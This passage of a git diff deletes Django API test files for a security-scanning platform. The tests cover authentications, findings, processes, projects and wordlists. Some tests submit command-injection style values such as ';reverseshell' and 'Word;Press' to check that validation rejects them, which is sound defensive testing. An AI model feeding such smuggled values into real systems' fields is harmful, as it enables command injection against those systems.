AuthenticationType.BASIC - } - - def test_create(self) -> None: - '''Test authentication creation.''' - self.data['name'] = 'regularuser' - expected = self.data.copy() - expected['credential'] = len(self.data['credential']) * '*' # Credential will be protected - # Create new authentication - content = self.api_test(self.client.post, self.endpoint, 201, data=self.data, expected=expected) - self.api_test(self.client.get, f'{self.endpoint}{content["id"]}/', expected=expected) - - def test_create_with_invalid_target_port(self) -> None: - '''Test authentication creation with invalid target port.''' - self.data['target_port'] = self.target_port - Authentication.objects.create(**self.data) # Create authentication - self.data['target_port'] = self.target_port.id - self.api_test(self.client.post, self.endpoint, 400, data=self.data) # Authentication already exists - - def test_create_with_invalid_credential(self) -> None: - '''Test authentication creation with invalid credential.''' - self.data['credential'] = ';reverseshell' - self.api_test(self.client.post, self.endpoint, 400, data=self.data) # Invalid credential value - - def test_delete(self) -> None: - '''Test authentication deletion feature.''' - self.data['target_port'] = self.target_port - authentication = Authentication.objects.create(**self.data) # Create authentication - self.api_test(self.client.delete, f'{self.endpoint}{authentication.id}/', 204) # Delete authentication - self.api_test(self.client.get, f'{self.endpoint}{authentication.id}/', 404) - - def test_model_representation(self) -> None: - '''Test __str__ method for authentication model.''' - self.data['target_port'] = self.target_port - authentication = Authentication.objects.create(**self.data) # Create authentication - self.models = { # Models to test __str__ method - authentication: f'{self.target_port.__str__()} - {authentication.name}' - } - super().test_model_representation() diff --git a/src/backend/testing/api/test_executions.py b/src/backend/testing/api/test_executions.py deleted file mode 100644 index b8d0cf2a3..000000000 --- a/src/backend/testing/api/test_executions.py +++ /dev/null @@ -1,47 +0,0 @@ -from django.utils import timezone -from executions.models import Execution -from tasks.enums import Status -from testing.api.base import RekonoApiTestCase - - -class ExecutionsTest(RekonoApiTestCase): - '''Test cases for Executions module.''' - - def setUp(self) -> None: - '''Create initial data before run tests.''' - self.endpoint = '/api/executions/' # Executions API endpoint - super().setUp() - super().initialize_environment() # Initialize testing environment - self.step_execution = Execution.objects.create( # Create execution related to step - task=self.task, - tool=self.step.tool, - configuration=self.step.configuration, - status=Status.COMPLETED, - start=timezone.now(), - end=timezone.now() - ) - self.models = { # Models to test __str__ method - self.execution: ( - f'{self.project.name} - {self.target.target} - {self.task.tool.name} - {self.task.configuration.name}' - ), - self.step_execution: ( - f'{self.project.name} - {self.target.target} - {self.step.tool.name} - {self.step.configuration.name}' - ) - } - - def test_get_all(self) -> None: - '''Test get all feature.''' - content = self.api_test(self.client.get, self.endpoint, expected={'count': 2}) # Get all executions - self.check_fields(['id'], content['results'][0], self.step_execution) - self.check_fields(['id'], content['results'][1], self.execution) - - def test_tool_filter(self) -> None: - '''Test filter by tool feature.''' - # Get executions related to testing tool - content = self.api_test(self.client.get, f'{self.endpoint}?tool={self.nmap.id}', 200, expected={'count': 2}) - self.check_fields(['id'], content['results'][0], self.step_execution) - self.check_fields(['id'], content['results'][1], self.execution) - - def test_unauthorized_get_all(self) -> None: - '''Test get all feature with an unauthorized user.''' - self.api_test(self.other_client.get, self.endpoint, expected={'count': 0}) # Get all executions diff --git a/src/backend/testing/api/test_findings.py b/src/backend/testing/api/test_findings.py deleted file mode 100644 index 5675e218e..000000000 --- a/src/backend/testing/api/test_findings.py +++ /dev/null @@ -1,133 +0,0 @@ -from findings.enums import DataType, Severity -from findings.models import (OSINT, Credential, Exploit, Technology, - Vulnerability) -from testing.api.base import RekonoApiTestCase - - -class FindingsTest(RekonoApiTestCase): - '''Test cases for Findings module.''' - - def setUp(self) -> None: - '''Create initial data before run tests.''' - super().setUp() - super().initialize_environment() - # Create findings entities - self.domain_osint = OSINT.objects.create(data='nmap.org', data_type=DataType.DOMAIN, source='Google') - self.domain_osint.executions.add(self.execution) - self.user_osint = OSINT.objects.create(data='Test', data_type=DataType.USER, source='DuckDuckGo') - self.user_osint.executions.add(self.execution) - self.technology = Technology.objects.create( - port=self.port, - name='Wordpress', version='1.0.0', - description='Test' - ) - self.technology.executions.add(self.execution) - self.credential_finding = Credential.objects.create( - technology=self.technology, - username='test', - email='test@test.test', - secret='test' - ) - self.credential_finding.executions.add(self.execution) - self.vulnerability = Vulnerability.objects.create( - technology=self.technology, - name='Log4Shell', description='Log4Shell', - severity=Severity.CRITICAL, - cve='CVE-2021-44228', cwe='CWE-20' - ) - self.vulnerability.executions.add(self.execution) - self.port_vulnerability = Vulnerability.objects.create( - port=self.port, - name='Log4Shell', description='Log4Shell', - severity=Severity.CRITICAL, - cve='CVE-2021-44228', cwe='CWE-20' - ) - self.port_vulnerability.executions.add(self.execution) - self.exploit = Exploit.objects.create( - vulnerability=self.vulnerability, - title='Easy Exploit' - ) - self.exploit.executions.add(self.execution) - self.tech_exploit = Exploit.objects.create( - technology=self.technology, - title='Easy Exploit' - ) - self.tech_exploit.executions.add(self.execution) - # Mapping between findings and endpoints - self.data = [ - (self.domain_osint, 'osint'), - (self.user_osint, 'osint'), - (self.host, 'hosts'), - (self.port, 'ports'), - (self.technology, 'technologies'), - (self.http_path, 'paths'), - (self.credential_finding, 'credentials'), - (self.vulnerability, 'vulnerabilities'), - (self.port_vulnerability, 'vulnerabilities'), - (self.exploit, 'exploits'), - (self.tech_exploit, 'exploits'), - ] - self.filter_paths = ['vulnerabilities', 'exploits'] # Paths with filters to test - self.models = { # Models to test __str__ method - self.domain_osint: self.domain_osint.data, - self.user_osint: self.user_osint.data, - self.host: self.host.address, - self.port: f'{self.host.__str__()} - {self.port.port}', - self.technology: f'{self.port.__str__()} - {self.technology.name}', - self.http_path: f'{self.port.__str__()} - {self.http_path.path}', - self.credential_finding: ( - f'{self.technology.__str__()} - {self.credential_finding.email} - ' - f'{self.credential_finding.username} - {self.credential_finding.secret}' - ), - self.vulnerability: f'{self.technology.__str__()} - {self.vulnerability.name} - {self.vulnerability.cve}', - self.port_vulnerability: ( - f'{self.port.__str__()} - {self.port_vulnerability.name} - {self.port_vulnerability.cve}' - ), - self.exploit: f'{self.vulnerability.__str__()} - {self.exploit.title}', - self.tech_exploit: f'{self.technology.__str__()} - {self.tech_exploit.title}', - } - - def test_disable_enable(self) -> None: - '''Test disable and enable features.''' - for finding, endpoint in self.data: - self.api_test(self.client.get, f'/api/{endpoint}/{finding.id}/', expected={'is_active': True}) - self.api_test(self.client.delete, f'/api/{endpoint}/{finding.id}/', 204) # Disable finding - self.api_test(self.client.get, f'/api/{endpoint}/{finding.id}/', expected={'is_active': False}) - self.api_test(self.client.post, f'/api/{endpoint}/{finding.id}/enable/', 201) # Enable finding - self.api_test(self.client.get, f'/api/{endpoint}/{finding.id}/', expected={'is_active': True}) - - def test_create_target_from_osint(self) -> None: - '''Test target creation feature from OSINT.''' - # Create target - self.api_test( - self.client.post, f'/api/osint/{self.domain_osint.id}/target/', 201, - expected={'target': self.domain_osint.data, 'type': 'Domain'} - ) - - def test_create_target_from_invalid_osint(self) -> None: - '''Test target creation feature from invalid OSINT data type.''' - # OSINT data should be Domain or IP - self.api_test(self.client.post, f'/api/osint/{self.user_osint.id}/target/', 400) - - def test_filters(self) -> None: - '''Test filter feature for vulnerabilities and exploits.''' - for filter, count in [ - (f'port={self.port.id}', 2), # Filter by port - ('port=0', 0), - (f'port_number={self.port.port}', 2), # Filter by port number - ('port_number=0', 0), - (f'host={self.host.id}', 2), # Filter by host - ('host=0', 0), - (f'host_address={self.host.address}', 2), # Filter by host address - ('host_address=0.0.0.0', 0), - (f'host_os_type={self.host.os_type}', 2), # Filter by host OS type - ('host_os_type=Windows', 0), - ]: - for endpoint in self.filter_paths: # For each filterable endpoint - # Filter findings - content = self.api_test(self.client.get, f'/api/{endpoint}/?{filter}', expected={'count': count}) - if count > 0: # Expected results - findings = [f for f, e in self.data if e == endpoint] # Get expected findings - findings.reverse() # Order findings by creation (so by Id) - for index, finding in enumerate(findings): - self.assertEqual(finding.id, content['results'][index]['id']) diff --git a/src/backend/testing/api/test_parameters.py b/src/backend/testing/api/test_parameters.py deleted file mode 100644 index fc8e408fa..000000000 --- a/src/backend/testing/api/test_parameters.py +++ /dev/null @@ -1,75 +0,0 @@ -from testing.api.base import RekonoApiTestCase - - -class InputTechnologiesTest(RekonoApiTestCase): - '''Test cases for Input Technology entity from Parameters module.''' - - def setUp(self) -> None: - '''Create initial data before run tests.''' - self.endpoint = '/api/parameters/technologies/' # Input Technologies API endpoint - super().setUp() - super().initialize_environment() # Initialize testing environment - # Data for testing - self.used_data = { - 'target': self.target.id, - 'name': self.input_technology.name, - 'version': self.input_technology.version - } - self.models = { # Models to test __str__ method - self.input_technology: ( - f'{self.target.__str__()} - {self.input_technology.name} - {self.input_technology.version}' - ) - } - - def test_create(self) -> None: - '''Test input technology creation.''' - self.used_data['name'] = 'Joomla' - # Create new input technology - content = self.api_test(self.client.post, self.endpoint, 201, data=self.used_data, expected=self.used_data) - self.api_test(self.client.get, f'{self.endpoint}{content["id"]}/', expected=self.used_data) - - def test_invalid_create(self) -> None: - '''Test input technology creation with invalid data.''' - self.api_test(self.client.post, self.endpoint, 400, data=self.used_data) # Input technology already exists - self.used_data['name'] = 'Word;Press' - self.api_test(self.client.post, self.endpoint, 400, data=self.used_data) # Invalid name value - - def test_delete(self) -> None: - '''Test input technology deletion feature.''' - # Delete input technology - self.api_test(self.client.delete, f'{self.endpoint}{self.input_technology.id}/', 204) - self.api_test(self.client.get, f'{self.endpoint}{self.input_technology.id}/', 404) - - -class InputVulnerabilitiesTest(RekonoApiTestCase): - '''Test cases for Input Vulnerability entity from Parameters module.''' - - def setUp(self) -> None: - '''Create initial data before run tests.''' - self.endpoint = '/api/parameters/vulnerabilities/' # Input Technologies API endpoint - super().setUp() - super().initialize_environment() # Initialize testing environment - # Data for testing - self.used_data = {'target': self.target.id, 'cve': self.input_vulnerability.cve} - self.models = { # Models to test __str__ method - self.input_vulnerability: f'{self.target.__str__()} - {self.input_vulnerability.cve}' - } - - def test_create(self) -> None: - '''Test input vulnerability creation.''' - self.used_data['cve'] = 'CVE-2022-2022' - # Create new input vulnerability - content = self.api_test(self.client.post, self.endpoint, 201, data=self.used_data, expected=self.used_data) - self.api_test(self.client.get, f'{self.endpoint}{content["id"]}/', expected=self.used_data) - - def test_invalid_create(self) -> None: - '''Test input vulnerability creation with invalid data.''' - self.api_test(self.client.post, self.endpoint, 400, data=self.used_data) # Input vulnerability already exists - self.used_data['cve'] = 'CVE' - self.api_test(self.client.post, self.endpoint, 400, data=self.used_data) # Invalid name value - - def test_delete(self) -> None: - '''Test input vulnerability deletion feature.''' - # Delete input vulnerability - self.api_test(self.client.delete, f'{self.endpoint}{self.input_vulnerability.id}/', 204) - self.api_test(self.client.get, f'{self.endpoint}{self.input_vulnerability.id}/', 404) diff --git a/src/backend/testing/api/test_processes.py b/src/backend/testing/api/test_processes.py deleted file mode 100644 index e384c03b9..000000000 --- a/src/backend/testing/api/test_processes.py +++ /dev/null @@ -1,134 +0,0 @@ -from testing.api.base import RekonoApiTestCase -from tools.models import Configuration, Tool - - -class ProcessesTest(RekonoApiTestCase): - '''Test cases for Process entity from Processes module.''' - - def setUp(self) -> None: - '''Create initial data before run tests.''' - self.endpoint = '/api/processes/' # Processes API endpoint - super().setUp() - super().initialize_environment() # Initialize testing environment - # Data for testing - self.used_data = {'name': self.process.name, 'description': self.process.description, 'tags': self.process.tags} - self.new_data = {'name': 'New Process', 'description': 'New process', 'tags': ['new']} - self.models = {self.process: self.process.name} # Models to test __str__ method - - def test_create(self) -> None: - '''Test process creation feature.''' - # Create new process - content = self.api_test(self.client.post, self.endpoint, 201, data=self.new_data, expected=self.new_data) - self.api_test(self.client.get, f'{self.endpoint}{content["id"]}/', expected=content) - - def test_invalid_create(self) -> None: - '''Test process creation with invalid data.''' - self.api_test(self.client.post, self.endpoint, 400, data=self.used_data) # Process name already exists - - def test_update(self) -> None: - '''Test process update feature.''' - self.api_test( # Update process - self.client.put, f'{self.endpoint}{self.process.id}/', - data=self.new_data, expected=self.new_data - ) - self.api_test(self.client.get, f'{self.endpoint}{self.process.id}/', expected=self.new_data) - - def test_invalid_update(self) -> None: - '''Test process update with invalid data.''' - # Create new process - content = self.api_test(self.client.post, self.endpoint, 201, data=self.new_data, expected=self.new_data) - # Process name already exists - self.api_test(self.client.put, f'{self.endpoint}{content["id"]}/', 400, data=self.used_data) - - def test_delete(self) -> None: - '''Test process deletion feature.''' - self.api_test(self.client.delete, f'{self.endpoint}{self.process.id}/', 204) # Delete process - self.api_test(self.client.get, f'{self.endpoint}{self.process.id}/', 404) # Check process not found - - def test_unauthorized_delete(self) -> None: - '''Test process deletion feature without Admin or process creator.''' - # Change user role to Auditor, because Admins can delete all processes - data = {'role': 'Auditor'} - self.api_test(self.client.put, f'/api/users/{self.other.id}/role/', data=data, expected=data) - self.api_test(self.other_client.delete, f'{self.endpoint}{self.process.id}/', 403) # User is not authorized - - def test_like_dislike(self) -> None: - '''Test like and dislike features for processes.''' - count = self.api_test(self.client.get, f'{self.endpoint}?order=-name')['count'] # Get total count of processes - # Like testing process - self.api_test(self.client.post, f'{self.endpoint}{self.process.id}/like/', 201) - self.api_test(self.client.get, f'{self.endpoint}{self.process.id}/', expected={'liked': True, 'likes': 1}) - self.api_test(self.client.get, f'{self.endpoint}?liked=true', expected={'count': 1}) - self.api_test(self.client.get, f'{self.endpoint}?liked=false', expected={'count': count - 1}) - # Dislike testing process - self.api_test(self.client.post, f'{self.endpoint}{self.process.id}/dislike/', 204) - self.api_test(self.client.get, f'{self.endpoint}{self.process.id}/', expected={'liked': False, 'likes': 0}) - self.api_test(self.client.get, f'{self.endpoint}?liked=true', expected={'count': 0}) - self.api_test(self.client.get, f'{self.endpoint}?liked=false', expected={'count': count}) - - -class StepsTest(RekonoApiTestCase): - '''Test cases for Step entity from Processes module.''' - - def setUp(self) -> None: - '''Create initial data before run tests.''' - self.endpoint = '/api/steps/' # Steps API endpoint - super().setUp() - super().initialize_environment() # Initialize testing environment - self.new_step_tool = Tool.objects.get(name='theHarvester') # Tool and Configuration for testing - self.new_step_config = Configuration.objects.get(tool=self.new_step_tool, default=True) - self.new_data = { # Data for testing - 'tool_id': self.new_step_tool.id, - 'configuration_id': self.new_step_config.id, - 'process': self.process.id - } - self.models = { # Models to test __str__ method - self.step: f'{self.process.__str__()} - {self.nmap_configuration.__str__()}' - } - - def test_create(self) -> None: - '''Test step creation feature.''' - content = self.api_test(self.client.post, self.endpoint, 201, data=self.new_data) # Create new step - self.assertEqual(self.process.id, content['process']) - self.check_fields(['id', 'name'], content['tool'], self.new_step_tool) - self.check_fields(['id', 'name'], content['configuration'], self.new_step_config) - self.assertEqual(1, content['priority']) - self.api_test(self.client.get, f'{self.endpoint}{content["id"]}/', expected=content) - - def test_create_without_configuration(self) -> None: - '''Test step creation feature without set one configuration.''' - self.new_data.pop('configuration_id') # Remove configuration from data - # Default theHarvester configuration will be used - self.test_create() - - def test_create_with_invalid_configuration(self) -> None: - '''Test step creation feature with invalid configuration.''' - # Invalid config for theHarvester - invalid_config = Configuration.objects.get(tool__name='Dirsearch', default=True) - self.new_data['configuration_id'] = invalid_config.id - # Default theHarvester configuration will be used - self.test_create() - - def test_invalid_create(self) -> None: - '''Test step creation feature with invalid data.''' - self.new_data['tool_id'] = self.nmap.id - self.new_data['configuration_id'] = self.nmap_configuration.id - # Step with this tool and configuration already exists - self.api_test(self.client.post, self.endpoint, 400, data=self.new_data) - - def test_update(self) -> None: - '''Test step priority update feature.''' - data = {'priority': 2} - # Update step priority - self.api_test(self.client.put, f'{self.endpoint}{self.step.id}/', data=data, expected=data) - self.api_test(self.client.get, f'{self.endpoint}{self.step.id}/', expected=data) - - def test_invalid_update(self) -> None: - '''Test step priority update feature with invalid data.''' - # Invalid priority - self.api_test(self.client.put, f'{self.endpoint}{self.step.id}/', 400, data={'priority': -1}) - - def test_delete(self) -> None: - '''Test step deletion feature.''' - self.api_test(self.client.delete, f'{self.endpoint}{self.step.id}/', 204) # Delete step - self.api_test(self.client.get, f'{self.endpoint}{self.step.id}/', 404) # Check step is not found diff --git a/src/backend/testing/api/test_projects.py b/src/backend/testing/api/test_projects.py deleted file mode 100644 index 7c8b60181..000000000 --- a/src/backend/testing/api/test_projects.py +++ /dev/null @@ -1,208 +0,0 @@ -from typing import Any, Dict -from unittest import mock - -from testing.api.base import RekonoApiTestCase -from testing.mocks.defectdojo import (defect_dojo_error, defect_dojo_success, - defect_dojo_success_multiple) - - -class ProjectsTest(RekonoApiTestCase): - '''Test cases for Projects module.''' - - def setUp(self) -> None: - '''Create initial data before run tests.''' - self.endpoint = '/api/projects/' # Projects API endpoint - super().setUp() - # Data for testing - self.used_data = {'name': self.project.name, 'description': self.project.description, 'tags': self.project.tags} - self.new_data: Dict[str, Any] = {'name': 'New Test', 'description': 'New Test', 'tags': ['new']} - self.models = {self.project: self.project.name} # Models to test __str__ method - - def test_create(self) -> None: - '''Test project creation feature.''' - # Create new project - self.api_test(self.client.post, self.endpoint, 201, data=self.new_data, expected=self.new_data) - - def test_invalid_create(self) -> None: - '''Test project creation feature with invalid data.''' - self.api_test(self.client.post, self.endpoint, 400, data=self.used_data) # Project already exists - - def test_update(self) -> None: - '''Test project update feature.''' - # Update project - self.api_test(self.client.put, f'{self.endpoint}{self.project.id}/', data=self.new_data, expected=self.new_data) - - def test_invalid_update(self) -> None: - '''Test project update feature with invalid data.''' - # Create new project - content = self.api_test(self.client.post, self.endpoint, 201, data=self.new_data, expected=self.new_data) - # Project already exists - self.api_test(self.client.put, f'{self.endpoint}{content["id"]}/', 400, data=self.used_data) - - def test_delete(self) -> None: - '''Test project deletion feature.''' - self.api_test(self.client.delete, f'{self.endpoint}{self.project.id}/', 204) # Delete new project - self.api_test(self.client.get, f'{self.endpoint}{self.project.id}/', 404) - - def test_add_member(self) -> None: - '''Test add project member feature.''' - # Add member to the testing project - self.api_test(self.client.post, f'{self.endpoint}{self.project.id}/members/', 201, data={'user': self.other.id}) - - def test_add_not_found_member(self) -> None: - '''Test add project member feature with not found user.''' - # Add unexisting member to the testing project - self.api_test(self.client.post, f'{self.endpoint}{self.project.id}/members/', 404, data={'user': -1}) - - def test_add_invalid_member(self) -> None: - '''Test add project member feature with invalid data.''' - self.api_test(self.client.post, f'{self.endpoint}{self.project.id}/members/', 400) # User is required - - def test_remove_member(self) -> None: - '''Test remove project member feature.''' - # Add member to the testing project - self.api_test(self.client.post, f'{self.endpoint}{self.project.id}/members/', 201, data={'user': self.other.id}) - # Remove project member - self.api_test(self.client.delete, f'{self.endpoint}{self.project.id}/members/{self.other.id}/', 204) - - def test_remove_not_found_member(self) -> None: - '''Test remove project member feature with not found user.''' - # Remove unexisting member from testing project - self.api_test(self.client.delete, f'{self.endpoint}{self.project.id}/members/0/', 404) - - def test_remove_invalid_member(self) -> None: - '''Test remove project member feature with invalid data.''' - # Project owner can't be removed - self.api_test(self.client.delete, f'{self.endpoint}{self.project.id}/members/{self.admin.id}/', 400) - - @mock.patch('defectdojo.api.DefectDojo.request', defect_dojo_error) # Mocks Defect-Dojo response - def test_defectdojo_unavailable(self) -> None: - '''Test Defect-Dojo configuration feature with unavailable error.''' - self.api_test(self.client.put, f'{self.endpoint}{self.project.id}/defect-dojo/', 400) - - @mock.patch('defectdojo.api.DefectDojo.request', defect_dojo_success) # Mocks Defect-Dojo response - def test_defectdojo_with_ids(self) -> None: - '''Test Defect-Dojo configuration feature with product and engagement Ids.''' - self.api_test( - self.client.put, f'{self.endpoint}{self.project.id}/defect-dojo/', 200, - data={'product_id': 1, 'engagement_id': 1}, # Both Ids provided - expected={ - 'defectdojo_product_id': 1, - 'defectdojo_engagement_id': 1, - 'defectdojo_engagement_by_target': False - } - ) - - @mock.patch('defectdojo.api.DefectDojo.request', defect_dojo_success) # Mocks Defect-Dojo response - def test_defectdojo_with_new_product(self) -> None: - '''Test Defect-Dojo configuration feature with new product creation.''' - self.api_test( - self.client.put, f'{self.endpoint}{self.project.id}/defect-dojo/', 200, - data={'engagement_id': 1}, # Only engagement Id provided - expected={ - 'defectdojo_product_id': 1, - 'defectdojo_engagement_id': 1, - 'defectdojo_engagement_by_target': False - } - ) - - @mock.patch('defectdojo.api.DefectDojo.request', defect_dojo_success) # Mocks Defect-Dojo response - @mock.patch('defectdojo.api.DefectDojo.get_rekono_product_type', defect_dojo_success_multiple) - def test_defectdojo_with_new_engagement(self) -> None: - '''Test Defect-Dojo configuration feature with new engagement creation.''' - self.api_test( - self.client.put, f'{self.endpoint}{self.project.id}/defect-dojo/', 200, - data={'engagement_name': 'Test', 'engagement_description': 'Test'}, # Only engagement data provided - expected={ - 'defectdojo_product_id': 1, - 'defectdojo_engagement_id': 1, - 'defectdojo_engagement_by_target': False - } - ) - - @mock.patch('defectdojo.api.DefectDojo.request', defect_dojo_success) # Mocks Defect-Dojo response - def test_defectdojo_with_new_product_and_engagemnets_per_target(self) -> None: - '''Test Defect-Dojo configuration feature with new engagement by target.''' - self.api_test( - self.client.put, f'{self.endpoint}{self.project.id}/defect-dojo/', 200, # No body data provided - expected={ - 'defectdojo_product_id': 1, - 'defectdojo_engagement_id': None, # No engagement Id for the product - 'defectdojo_engagement_by_target': True - } - ) - - @mock.patch('defectdojo.api.DefectDojo.request', defect_dojo_success) # Mocks Defect-Dojo response - @mock.patch('defectdojo.api.DefectDojo.get_engagement', defect_dojo_error) - def test_defectdojo_with_engagement_not_found(self) -> None: - '''Test Defect-Dojo configuration feature with not found engagement.''' - self.api_test(self.client.put, f'{self.endpoint}{self.project.id}/defect-dojo/', 400, data={'engagement_id': 1}) - - @mock.patch('defectdojo.api.DefectDojo.request', defect_dojo_success) # Mocks Defect-Dojo response - @mock.patch('defectdojo.api.DefectDojo.get_product', defect_dojo_error) - def test_defectdojo_with_product_not_found(self) -> None: - '''Test Defect-Dojo configuration feature with not found product.''' - self.api_test(self.client.put, f'{self.endpoint}{self.project.id}/defect-dojo/', 400, data={'product_id': 1}) - - @mock.patch('defectdojo.api.DefectDojo.request', defect_dojo_success) # Mocks Defect-Dojo response - def test_defectdojo_with_invalid_new_engagement(self) -> None: - '''Test Defect-Dojo configuration feature with invalid engagement data.''' - self.api_test( - self.client.put, f'{self.endpoint}{self.project.id}/defect-dojo/', 400, - # Engagement name and description can't include characters like ; - data={'product_id': 1, 'engagement_name': 'Input;Validation', 'engagement_description': 'Input;Validation'} - ) - - @mock.patch('defectdojo.api.DefectDojo.request', defect_dojo_success) # Mocks Defect-Dojo response - @mock.patch('defectdojo.api.DefectDojo.create_rekono_product_type', defect_dojo_error) - def test_defectdojo_with_error_in_product_type_creation(self) -> None: - '''Test Defect-Dojo configuration feature with errors during product type creation.''' - self.api_test(self.client.put, f'{self.endpoint}{self.project.id}/defect-dojo/', 400) - - @mock.patch('defectdojo.api.DefectDojo.request', defect_dojo_success) # Mocks Defect-Dojo response - @mock.patch('defectdojo.api.DefectDojo.create_product', defect_dojo_error) - def test_defectdojo_with_error_in_product_creation(self) -> None: - '''Test Defect-Dojo configuration feature with errors during product creation.''' - self.api_test(self.client.put, f'{self.endpoint}{self.project.id}/defect-dojo/', 400) - - @mock.patch('defectdojo.api.DefectDojo.request', defect_dojo_success) # Mocks Defect-Dojo response - @mock.patch('defectdojo.api.DefectDojo.create_engagement', defect_dojo_error) - def test_defectdojo_with_error_in_engagement_creation(self) -> None: - '''Test Defect-Dojo configuration feature with errors during engagement creation.''' - self.api_test( - self.client.put, f'{self.endpoint}{self.project.id}/defect-dojo/', 400, - data={'product_id': 1, 'engagement_name': 'Test', 'engagement_description': 'Test'} - ) - - @mock.patch('defectdojo.api.DefectDojo.request', defect_dojo_success) # Mocks Defect-Dojo response - def test_defectdojo_sync(self) -> None: - '''Test Defect-Dojo synchronization feature.''' - # Defect-Dojo integration is required before enable synchronization - self.api_test( - self.client.put, f'{self.endpoint}{self.project.id}/defect-dojo/', 200, - expected={ - 'defectdojo_product_id': 1, - 'defectdojo_engagement_id': None, - 'defectdojo_engagement_by_target': True, - 'defectdojo_synchronization': False - } - ) - self.api_test( - self.client.put, f'{self.endpoint}{self.project.id}/defect-dojo/sync/', 200, - data={'synchronization': True}, # Enable Defect-Dojo synchronization - expected={ - 'defectdojo_product_id': 1, - 'defectdojo_engagement_id': None, - 'defectdojo_engagement_by_target': True, - 'defectdojo_synchronization': True - } - ) - - def test_invalid_defectdojo_sync(self) -> None: - '''Test Defect-Dojo synchronization feature with errors.''' - # No data provided - self.api_test(self.client.put, f'{self.endpoint}{self.project.id}/defect-dojo/sync/', 400) - # Defect-Dojo integration should be configured before enable synchronization - self.api_test( - self.client.put, f'{self.endpoint}{self.project.id}/defect-dojo/sync/', 400, data={'synchronization': True} - ) diff --git a/src/backend/testing/api/test_resources.py b/src/backend/testing/api/test_resources.py deleted file mode 100644 index 7b3d4315b..000000000 --- a/src/backend/testing/api/test_resources.py +++ /dev/null @@ -1,115 +0,0 @@ -import os -from typing import Any, Dict - -from resources.enums import WordlistType -from resources.models import Wordlist -from security.file_upload import check_checksum -from testing.api.base import RekonoApiTestCase - - -class WordlistsTest(RekonoApiTestCase): - '''Test cases for Wordlist entity from Resources module.''' - - def setUp(self) -> None: - '''Create initial data before run tests.''' - self.endpoint = '/api/wordlists/' # Wordlists API endpoint - super().setUp() - # Wordlists paths - self.resources = os.path.join(self.data_path, 'resources') - self.endpoints = os.path.join(self.resources, 'endpoints_wordlist_1.txt') - self.invalid_size = os.path.join(self.resources, 'invalid_size.txt') - self.invalid_extension = os.path.join(self.resources, 'invalid_extension.pdf') - self.invalid_mime_type = os.path.join(self.resources, 'invalid_mime_type.txt') - # Data for testing - self.name = 'ZZZ' - # Create wordlist for testing - content = self.create_wordlist(self.name, self.endpoints, WordlistType.ENDPOINT) - self.wordlist = Wordlist.objects.get(pk=content["id"]) - self.models = {self.wordlist: self.name} # Models to test __str__ method - - def create_wordlist(self, name: str, path: str, type: str, status_code: int = 201) -> Dict[str, Any]: - '''Create wordlist and check response. - - Args: - name (str): Wordlist name - path (str): Wordlist filepath - type (str): Wordlist type - status_code (int): Expected HTTP status code. Defaults to 201 - - Returns: - Dict[str, Any]: Created wordlist data - ''' - with open(path, 'rb') as file: - data = {'name': name, 'type': type, 'file': file} - if status_code == 201: - # Create wordlist and check response. Expected successfull request - return self.api_test( - self.client.post, self.endpoint, status_code, - data=data, expected={'name': name, 'type': type, 'size': 3}, format='multipart' - ) - else: - # Try to create wordlist - return self.api_test(self.client.post, self.endpoint, status_code, data=data, format='multipart') - - def test_create(self) -> None: - '''Test wordlist creation feature.''' - # Create new wordlist - new_wordlist = self.create_wordlist(self.name + self.name, self.endpoints, WordlistType.ENDPOINT) - content = self.api_test(self.client.get, f'{self.endpoint}?order=-name') # Get all wordlists - # Check that the first one is the new wordlist - self.check_fields(['name', 'type', 'size', 'size', 'creator'], content['results'][0], new_wordlist) - db_wordlist = Wordlist.objects.get(pk=new_wordlist['id']) - self.assertTrue(check_checksum(self.endpoints, db_wordlist.checksum)) # Check Wordlist checksum - - def test_invalid_create(self) -> None: - '''Test wordlist creation feature with invalid data.''' - for name, file in [ - (self.name, self.endpoints), # Wordlist already exists - ('Invalid size', self.invalid_size), # Invalid file size - ('Invalid extension', self.invalid_extension), # Invalid file extension - ('Invalid MIME type', self.invalid_mime_type), # Invalid MIME type - ]: - self.create_wordlist(name, file, WordlistType.ENDPOINT, 400) - - def test_update(self) -> None: - '''Test wordlist update feature.''' - data = {'name': self.name, 'type': WordlistType.ENDPOINT} - # Update wordlist - self.api_test(self.client.put, f'{self.endpoint}{self.wordlist.id}/', 200, data=data, expected=data) - - def test_invalid_update(self) -> None: - '''Test wordlist update feature with invalid data.''' - # Create new wordlist - new_wordlist = self.create_wordlist(self.name + self.name, self.endpoints, WordlistType.ENDPOINT) - with open(self.endpoints, 'r') as wordlist: - data = {'name': new_wordlist['name'], 'type': WordlistType.ENDPOINT, 'file': wordlist} - # Wordlist name already exists - self.api_test(self.client.put, f'{self.endpoint}{self.wordlist.id}/', 400, data=data, format='multipart') - - def test_delete(self) -> None: - '''Test wordlist deletion feature.''' - before = self.api_test(self.client.get, f'{self.endpoint}?order=-name') # Get wordlists - # Delete testing wordlist - self.api_test(self.client.delete, f'{self.endpoint}{self.wordlist.id}/', 204) - self.api_test(self.client.get, f'{self.endpoint}?order=-name', expected={'count': before['count'] - 1}) - - def test_unauthorized_delete(self) -> None: - '''Test wordlist deletion feature without Admin or process creator.''' - # Change user role to Auditor, because Admins can delete all wordlists - data = {'role': 'Auditor'} - self.api_test(self.client.put, f'/api/users/{self.other.id}/role/', data=data, expected=data) - self.api_test(self.other_client.delete, f'{self.endpoint}{self.wordlist.id}/', 403) # User is not authorized - - def test_like_dislike(self) -> None: - '''Test like and dislike features for wordlists.''' - count = self.api_test(self.client.get, f'{self.endpoint}?order=-name')['count'] # Get total count of wordlists - # Like testing wordlist - self.api_test(self.client.post, f'{self.endpoint}{self.wordlist.id}/like/', 201) - self.api_test(self.client.get, f'{self.endpoint}{self.wordlist.id}/', expected={'liked': True, 'likes': 1}) - self.api_test(self.client.get, f'{self.endpoint}?liked=true', expected={'count': 1}) - self.api_test(self.client.get, f'{self.endpoint}?liked=false', expected={'count': count - 1}) - # Dislike testing wordlist - self.api_test(self.client.post, f'{self.endpoint}{self.wordlist.id}/dislike/', 204) - self.api_test(self.client.get, f'{self.endpoint}{self.wordlist.id}/', expected={'liked': False, 'likes': 0}) - self.api_test(self.client.get, f'{self.endpoint}?liked=true', expected={'count': 0}) - self.api_test(self.client.get, f'{self.endpoint}?liked=false', expected={'count': count}) diff --git a/src/backend/testing/api/test_security.py b/src/backend/testing/api/test_security.py deleted file mode 100644 index a43841087..000000000 --- a/src/backend/testing/api/test_security.py +++ /dev/null @@ -1,77 +0,0 @@ -from typing import Callable, cast - -from django.forms import ValidationError -from security.csp_header import admin, 